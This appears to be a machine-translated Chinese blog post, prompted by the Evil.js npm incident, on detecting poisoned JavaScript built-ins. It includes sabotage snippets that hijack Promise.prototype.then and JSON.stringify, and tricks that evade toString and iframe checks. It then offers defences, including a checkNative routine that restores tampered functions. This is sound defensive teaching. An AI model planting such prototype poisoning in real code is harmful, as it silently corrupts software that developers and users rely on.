10
头图

Video move to station B

https://www.bilibili.com/video/BV1fe4y1o7kV/?aid=557362104&cid=811637597&page=1

Recently Evil.js has been discussed a lot. The project introduction is as follows

After the project was published on npm, it caused a heated discussion. Finally, it was officially removed by npm due to security issues, and the code was closed.

As an old front-end driver, I am definitely opposed to this kind of behavior. There are many ways to vent personal anger. The poison in the code will be checked by git log. relieve hatred

Today, let's discuss, if you are the project leader, how to identify this kind of code poisoning

Welcome to join the front-end learning , go to the king together, and make friends

Poisoning method

The most simple and impossible way of poisoning is to directly replace the function. For example, in evil.js, poisoning JSON.stringify and replacing the I in it with l, the then method of prmise every Sunday has a 10% probability of not triggering, It's a bit of a loss that it can only be triggered on Sunday, and the registration for npm is called lodash-utils , it seems that it is indeed a serious library, and the result was poisoned

 function isEvilTime(){
  return new Date().getDay() === 0 && Math.random() < 0.1 
}
const _then = Promise.prototype.then
Promise.prototype.then = function then(...args) {
  if (isEvilTime()) {
    return
  } else {
    _then.call(this, ...args)
  }
}

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l') 
}
console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}

Detection function toString

To detect whether a function is poisoned by the prototype chain, the first method I think of is to detect the toString of the code. The default global methods are all built-in, let's execute it on the command line

We can simply and rudely check the toString of the function

 function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}

console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false

However, we can directly override the toString method of the function and return the native strings to bypass this check.

 JSON.stringify = ...
JSON.stringify.toString = function(){
  return `function stringify() { [native code] }`
}
function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true

iframe

We can also create an isolated window through an iframe in the browser. After the iframe is loaded into the body, get the contentWindow inside the iframe

 let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"Illl"}'

This solution has requirements on the operating environment, iframes are only available in browsers, and if the attacker is smart enough, the iframe solution can also be poisoned, rewrite the appendChild function, when the loaded tag is an iframe , override the stringify method of contentWindow

 const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}

// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
  _appenChild(child)
  if(child.tagName.toLowerCase()==='iframe'){
    // 污染
    iframe.contentWindow.JSON.stringify = myStringify
  }
}

// iframe被污染了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"llll"}'

vm module for node

In node, you can also create a sandbox to run the code through the vm module. The tutorial can be found here , but this is too intrusive to our code. It is suitable for debugging a specific piece of code after a bug is found, and it is impossible to browse it. directly in the device

 const vm = require('vm')

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}
console.log(JSON.stringify({name:'Illl'}))
let sandbox = {}
vm.runInNewContext(`ret = JSON.stringify({name:'Illl'})`,sandbox)
console.log(sandbox)

ShadowRealm API

TC39 has a new ShadowRealm api, which has been stage3. You can manually create an isolated js runtime environment. It is considered to be a powerful tool for the next generation of micro-frontends. However, the compatibility is not very good now. The code looks a little like eval. But like the vm problem, we need to specify a certain piece of code to execute

For more details of ShadowRealm, please refer to He Lao's answer How to evaluate ECMAScript's ShadowRealm API proposal

 const sr = new ShadowRealm()
console.log( sr.evaluate(`JSON.stringify({name:'Illl'})`) )

Object.freeze

We can also directly use Object.freeze at the entry of the project code to freeze the related functions to ensure that they will not be modified, so the following code will print out {"name":"Illl"} , but some frameworks will properly perform the prototype chain. Modification (such as the processing of arrays in Vue2), and we do not have any reminders when modifying stringify fails, so this method should also be used with caution, which may lead to bugs in your project

 !(global => { 
  // Object.freeze(global.JSON)
  ;['JSON','Date'].forEach(n=>Object.freeze(global[n]))
  ;['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))
})((0, eval)('this'))
// 下毒
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}

// 使用
console.log(JSON.stringify({name:'Illl'}))

Backup detection

There is also a very simple method with moderate practicability and compatibility. We can back up some important functions at the beginning of the project, such as Promise, the method of Array prototype chain, JSON.stringify, fetch, localstorage.getItem Wait for the method, and then run the detection function when needed, and judge whether Promise.prototype.then is equal to what we have backed up, and then we can identify whether the prototype chain is polluted or not. I am really a little clever

First of all, we need to back up related functions. Since we don’t need to check a lot, we don’t need to traverse the window. Specify several important api functions, all of which exist in the _snapshots object

 // 这段代码一定要在项目的一开始执行
!(global => { 
  const MSG = '可能被篡改了,要小心哦'
  const inBrowser = typeof window !== 'undefined'
  const {JSON:{parse,stringify},setTimeout,setInterval} = global
  let _snapshots = {
    JSON:{
      parse,
      stringify
    },
    setTimeout,
    setInterval,
    fetch
  }
  if(inBrowser){
    let {localStorage:{getItem,setItem},fetch} = global
    _snapshots.localStorage = {getItem,setItem}
    _snapshots.fetch = fetch
  }
})((0, eval)('this'))

In addition to the directly called JSON, setTimeout, and methods on the prototype chain such as Promise and Array, we can get it through getOwnPropertyNames and back it up to _protytypes . For example, the result stored in Promise.prototype.then is

 // _protytypes
{
  'Promise.then': function then(){ [native code]}
}
 !(global => { 
  let _protytypes = {}
  const names = 'Promise,Array,Date,Object,Number,String'.split(",")

  names.forEach(name=>{
    let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{
      _protytypes[`${name}.${fn}`] = global[name].prototype[fn]
    })
  })
  console.log(_protytypes)
})((0, eval)('this'))

Then we register a detection function on the global checkNative that's it, the content stored in _snapshot and _prototype is traversed and compared with the JSON obtained at the current runtime, Promise.prototype.then Okay, and we have a backup, we can also add a reset parameter to restore the polluted function directly.

The code is relatively rough, let’s just look at it, the function is also nested in two layers, not recursive, directly violent loop, welcome people with lofty ideals to optimize

 global.checkNative = function (reset=false){
  for (const prop in _snapshots) {
    if (_snapshots.hasOwnProperty(prop) && prop!=='length') {
      let obj = _snapshots[prop]
      // setTimeout顶层的
      if(typeof obj==='function'){
        const isEqual = _snapshots[prop]===global[prop]
        if(!isEqual){
          console.log(`${prop}${MSG}`)
          if(reset){
            window[prop] = _snapshots[prop]
          }
        }
      }else{
        // JSON这种还有内层api
        for(const key in obj){
          const isEqual = _snapshots[prop][key]===global[prop][key]
          if(!isEqual){
            console.log(`${prop}.${key}${MSG}`)
            if(reset){
              window[prop][key] = _snapshots[prop][key]
            }
          }
        }
      }

    }
  }
  // 原型链
  names.forEach(name=>{
    let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{
      const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`]
      if(!isEqual){
        console.log(`${name}.prototype.${fn}${MSG}`)
        if(reset){
          global[name].prototype[fn]=_protytypes[`${name}.${fn}`]
        }
      }
    })
  })
}

Let's test the code, we can see that after checkNative passes reset is true, it prints and resets our polluted function, and the behavior of JSON.stringify also meets our expectations

 <script src="./anti-evil.js"></script>
<script src="./evil.js"></script>
<script>
function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
let obj = {name:'Illl'}
console.log(obj)
console.log('isNative',isNative(JSON.stringify))
console.log('被污染了',JSON.stringify(obj)) 

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log('iframe也被污染了',cleanJSON.stringify(obj)) 
console.log('*'.repeat(20))

checkNative(true)
console.log('checkNative重置了',JSON.stringify(obj)) 
</script>


Summarize

It seems that there is nothing to sum up. I wish everyone a happy day and be a happy programmer. See you later

Code is on Github

Online environment at StackBlitz


前端小菜鸟
81 声望13 粉丝